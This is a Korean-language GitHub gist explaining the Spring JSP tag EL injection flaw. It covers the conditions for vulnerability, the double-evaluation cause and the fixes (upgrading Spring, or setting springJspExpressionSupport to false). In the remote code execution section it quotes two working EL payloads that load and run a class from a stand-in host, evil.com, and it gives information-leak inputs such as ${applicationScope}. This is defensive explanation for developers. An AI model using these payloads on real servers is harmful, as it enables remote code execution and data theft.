Skip to content

Instantly share code, notes, and snippets.

@benelog
Last active October 17, 2022 15:02
Show Gist options
  • Save benelog/4582041 to your computer and use it in GitHub Desktop.
Save benelog/4582041 to your computer and use it in GitHub Desktop.
EL inejection in Spring framework

'내가 만든 코드에 취약점이 있을까?'를 우려하시는 분들을 위해 아래와 같이 정리했습니다.

취약점의 조건

아래 조건을 모두 충족시킨다면 코드는 치명적인 Remote code execution 취약성이 존재할 여지가 있습니다.

  1. EL 2.2를 지원하는 서블릿 컨테이너를 쓰거나 EL 2.2 라이브러리를 직접 jar파일로 참조해서 쓰고 있다. (대표적으로 Tomcat 7.x혹은 Glassfish 2.2.x)
  2. Spring 3.1.x 미만 버전을 쓰고 있다.
  3. Spring의 JSP Tag( <spring:message.. 등)을 쓰고 있다.
  4. Spring의 JSP Tag에서 EL을 지원하는 속성에 사용자가 입력한 값이 들어갈 수 있다.

위에서 첫번째 조건이 해당하지 않더라도 다른 취약점을 조심해야 합니다. EL 2.2을 사용하지 않더라도 JSP 2.0이상을 지원하는 서블릿 컨테이너를 쓰면서 2,3,4에 해당하는 코드라면 어플리케이션의 중요한 정보를 노출시킬 수 있는 취약점이 존재할 위험이 있습니다. Remote code execution만큼 심각하지는 않지만, 역시나 조치가 필요합니다.

이 취약 지점은 의도하지 않은 정보를 노출할 수 있는 위험성으로 이미 2011년 9월 지적되어 보안되었으나, 이번달인 2013년 1월에는 같은 취약 지점을 통해서 원격 코드를 실행하는 기법이 발견되어 위험성 등급이 올라갔습니다. 즉, 해당 라이브러리가 취약성을 유발한다는 점 자체는 새로운 것이 아니고, 이미 이를 보강하는 버전이 나와 있습니다.

왜 이런 취약점이 생겼을까?

EL이란?

EL(Expression Language)는 JSR 245, JSR 252 등의 명세에 정의된 스펙입니다. JSP에서 request.getAttribute() 같은 코드를 간결하게 쓸 수 있게 해 줍니다.

잘 아시듯이 JSP안에서 아래와 같은 코드를 쓰면

${person.address.street}

Java로는 아래와 같은 역할을 합니다.

<%=HTMLEncoder.encode(((Person)person).getAddress().getStreet())%>

EL을 JSP에서 별다른 선언없이 바로 쓸 수 있게 된건 JSP 2.0이후부터였습니다. 그전에는 "<c:out .. " 등의 JSTL 태그 선언을 일일히 해줘야 했습니다.

Spring 태그 라이브러리의 EL 지원

Spring의 태그 라이브러리의 속성에서도 EL을 사용할 수 있습니다. 예를 들면 다국어 메시지를 출력할 때 쓰이는 spring:message 태그에서는 arguments라는 속성이 있는데, EL을 이용해서 ${user.name}같은 값을 넘길 수 있습니다.

<spring:message code="screen.logout.redirect" arguments="${user.name}"/>

Spring의 태그 라이러리에서는 2.0이전의 JSP버전에서도 JSP 버전에 관계없이 사용할 수 있습니다. JSP 2.0이상이라면 '${user.name}'이라는 값은 서블릿 컨테이너에 의해 해석되어서 넘어가겠지만, 그렇지 않은 이전 버전을 쓰는 경우에도 EL을 지원하기 위해서 스프링은 프레임웍 내부 코드에서도 EL을 해석하고 있습니다. MessageTag.java의 doStartTagInternal 메소드에서 이를 처리하는 코드가 보입니다.

	protected final int doStartTagInternal() throws JspException, IOException {
		try {
		// Resolve the unescaped message.
		String msg = resolveMessage();
		
		// HTML and/or JavaScript escape, if demanded.
		msg = isHtmlEscape() ? HtmlUtils.htmlEscape(msg) : msg;
		msg = this.javaScriptEscape ? JavaScriptUtils.javaScriptEscape(msg) : msg;
		
		// Expose as variable, if demanded, else write to the page.
		String resolvedVar = ExpressionEvaluationUtils.evaluateString("var", this.var, pageContext);
		if (resolvedVar != null) {
			String resolvedScope = ExpressionEvaluationUtils.evaluateString("scope", this.scope, pageContext);
			pageContext.setAttribute(resolvedVar, msg, TagUtils.getScope(resolvedScope));
		}
		...

정보 노출 취약점

앞에서 본 것처럼 스프링은 프레임웍 내부 코드에서도 EL을 평가하지만, JSP 2.0버전에서 스프링의 태그 라이브러를 사용하면 EL식이 두번 평가될 수 있었습니다.

즉, 아래와 같은 선언이 JSP에 있고,

<spring:message scope="${param.name}"/>

그 페이지를 호출할떄 name=${applicationScope} 파라미터를 추가한다면, 그 코드는 취약점이 있는 버전에서는 아래와 같은 효력을 갖게 됩니다.

<spring:message scope="${applicationScope}"/>

이미 ${param.name}이 해석된 결과가 '${applicationScope}'이니, 이 결과가 다시 해석될 필요가 없지만, JSP 2.0 이전의 버전을 고려한 코드 때문에 이 식은 다시 한번 더 평가(double evaluation)됩니다.

위의 예제에서는 aplicationScope의 주요 정보들이 노출됩니다. 이 취약점을 악용할 수 있는 예들은 아래와 같습니다.

  • 에러 메시지를 등을 통해 서버에서 사용하는 라이브러리와 버전을 파악
  • DB에 저장되었으나 화면에는 나오지 않는 않은 데이터 노출
  • Clickjacking 유도 코드 ( ${cookie["JSESSIONID"].value} 등의 파라미터 추가 등으로 )

Remote code execution 취약점

Tomcat 7, GlasshFish 2.2.x 등의 최신 서블릿 컨테이너는 EL 2.0을 지원합니다. EL 2.2에서는 아래와 같이 EL안에서 직접 메소드 호출을 할 수도 있습니다.

http://vulnerable.com/app?code=${param.foo.replaceAll(“P”,”Q”)}foo=PPPPP

Spring 태그라이브러리에서 파싱하는 파라미터에 아래 2개의 표현식을 차례로 넣으면, 원격지에 올려놓은 악성코드를 실행하는 공격을 합니다.

${pageContext.request.getSession().getAttribute("arr").add(pageContext.getServletContext().getResource("/").toURI().create("http://evil.com/path/to/where/malicious/classfile/is/located/").toURL())}

${pageContext.getClass().getClassLoader().getParent().newInstance(pageContext.request.getSession().getAttribute("arr").toArray(pageContext.getClass().getClassLoader().getParent().getURLs())).loadClass("Malicious").newInstance()}

정보 노출은 다른 해킹 공격의 시작점이 되는 정도가 되겠지만 'Remote code execution'은 직접적으로 큰 피해를 입힙니다. EL 2.2에서 추가된 method invocation 기능이 앞의 취약점과 결합되면서 더욱 심각한 보안 구멍이 되었습니다. DanAmodiod의 Remote Code with Expression Language Injection 보고서에서 이 기법이 자세히 공개되었습니다.

해결 방안

이 취약점을 공개한 Stefano Di Paola 등의 Expression Language Injection 보고서는 미리 최종판이 공개되기 전에 미리 SpringSource에 전달되었고, 이에 대응하여 SpringSource는 2011년 8월 18일 배포된 Spring 3.0.6에 이 취약점을 해결하는 패치를 포함시켰습니다. 이에 대한 안내는 아래 페이지에 있습니다.

이에 따라 이 취약점이 존재하는 애플리케이션이라면 아래의 2가지 해결책 중 하나를 선택할 수 있습니다.

Spring 3.0.6 혹은 2.5.6.SEC03버전 이상 사용 + web.xml에 추가선언

Maven dependency 선언 등을 수정해서 버전을 올리고 web.xml에는 아래 코드를 넣습니다.

<context-param>
     <description>Spring Expression Language Support</description>
     <param-name>springJspExpressionSupport</param-name>
     <param-value>false</param-value>
</context-param>

3.0.x대의 ExpressionEvaluationUtils의 코드를 보면 isSpringJspExpressionSupportActive 메소드에서 이 속성을 검사하는 조건분기가 있습니다. 같은 클래스에 있는 valuate메서드에서는 이 메소드를 먼저 호출해서 EL구문을 해석할지 말지를 결정합니다.

public static boolean isSpringJspExpressionSupportActive(PageContext pageContext) {
	ServletContext sc = pageContext.getServletContext();
	String springJspExpressionSupport = sc.getInitParameter(EXPRESSION_SUPPORT_CONTEXT_PARAM);
	if (springJspExpressionSupport != null) {
		return Boolean.valueOf(springJspExpressionSupport);
	}
	return true;
}

코드를 보면 알 수 있듯이, 아무런 설정이 없으면 디폴트로 'true'값이 적용됩니다. 즉, 3.0.6 버전을 쓰더라도 web.xml에 명시적인 선언이 없으면 취약점은 존재합니다.

Spring 3.1.x 버전 이상 사용 .

3.1.x버전은 라이브러리 교체만 하면 이 취약점에 대처할 수 있습니다. 3.1.x대의 ExpressionEvaluationUtils 코드를 보면 springJspExpressionSupport 속성이 따로 지정되어 있지 않다면 서플릿 스펙 2.4이상에는 false값이 반환됩니다.

public static boolean isSpringJspExpressionSupportActive(PageContext pageContext) {
	ServletContext sc = pageContext.getServletContext();
	String springJspExpressionSupport = sc.getInitParameter(EXPRESSION_SUPPORT_CONTEXT_PARAM);
	if (springJspExpressionSupport != null) {
		return Boolean.valueOf(springJspExpressionSupport);
	}
	if (sc.getMajorVersion() >= 3) {
		// We're on a Servlet 3.0+ container: Let's check what the application declares...
		if (sc.getEffectiveMajorVersion() > 2 || sc.getEffectiveMinorVersion() > 3) {
			// Application declares Servlet 2.4+ in its web.xml: JSP 2.0 expressions active.
			// Skip our own expression support in order to prevent double evaluation.
			return false;
		}
	}
	return true;
}

즉, 서블릿 컨테이너가 지원하는 스펙의 버전을 검사하여 2.4 이상일 때는 EL의 재평가가 이루어지지 않게 하고 있습니다.

혹시나 당장 라이브러리를 바꿀 수 없는 상황이라면 취약점의 조건 4번째를 만족시키지 않도록 스프링의 태그 라이브러를 쓰고 있는 코드를 수정해야 합니다.

관련 기사는 정확한가?

많은 보안관련 사이트에서 이 취약점을 보도했습니다. 그런 기사들을 덕분에 취약점을 인식한 사람이 많았을 것 같습니다. 그런데 아래 기사는 상세하지 정확하지 않은 정보를 전달하고 있습니다.

특히 아래 문장에서는 이 취약점은 빨리 패치가 나올 수 없고, Spring을 쓰는 개발자은 EL기능을 끄라는 조언을 받고 있으며, 스프링의 다음버전에서는 아마도 EL기능의 사용이 불가능해 질 것이라고 언급합니다.

... but so far the vulnerability related to what's being called "remote code with expression language" injection isn't something that seems to easily lend itself to a quick patch. So instead, software developers whose applications build on Spring could be at risk and are advised to turn off the expression-language feature. Spring will likely disable the expression-language feature by default in the next version,

이미 재작년인 2011년 8월에 패치가 나온 취약점인데, 여기서 언급하는 'in the next version'은 2012년 1월에 나온 기사로서는 부적절 합니다. 그리고 서블릿 컨테이너에서 EL기능 자체를 끄는 것과 스프링의 태그 라이브러에서 EL 재평가가 이루어지지 않게 하는 설정은 별개의 속성인데, 이 기사만 봐서는 이를 혼동하기 쉽습니다.

반면, 아래 기사는 최신 버전의 상황을 정확하고 설명하고 있습니다.

패치가 나왔지만 EL은 안전할까?

유사하게 Struts2와 XWork의 Remote code execution 취약점도 큰 문제가 된 적이 있었습니다. 이 경우는 Request parameter로 OGNL 표현식을 넘겨서 'java.lang.System.exit()'같은 메소드까지호출할 수 있었습니다. 개발 편의성을 높이는 기능들이지만, 강력한 기능들은 그만큼 위험이 따랍니다.

EL 2.2에 포함된 Method Invocation은 앞으로 여러 곳에서 비슷한 문제를 일으키지 않을까 하는 걱정이 됩니다. EL 2.2를 지원하는 Tomcat 7을 사용할 때 염두에 두어야할 사안인 것 같습니다.

스프링의 태그 뿐만이 아니라 JSP에서 새로운 태그 라이브러를 사용할 때도 EL Injection을 늘 의식하면서 테스트 해봐야할 듯 합니다. 이제는 SQL Injection을 대부분의 개발자가 의식하면서 개발을 하듯이 EL Injection류도 새롭게 뜨거운 취약점이 되었다고 느껴집니다.

이 취약점이 담당하시는 애플리케이션과 직접적인 관련이 없으신 분도 아래 핵심 자료를 읽어보시기를 권장드립니다.

관련 자료

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment